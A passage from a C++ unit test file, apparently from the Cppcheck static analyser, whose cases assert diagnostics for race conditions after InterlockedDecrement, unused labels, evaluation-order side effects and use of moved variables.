{\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int 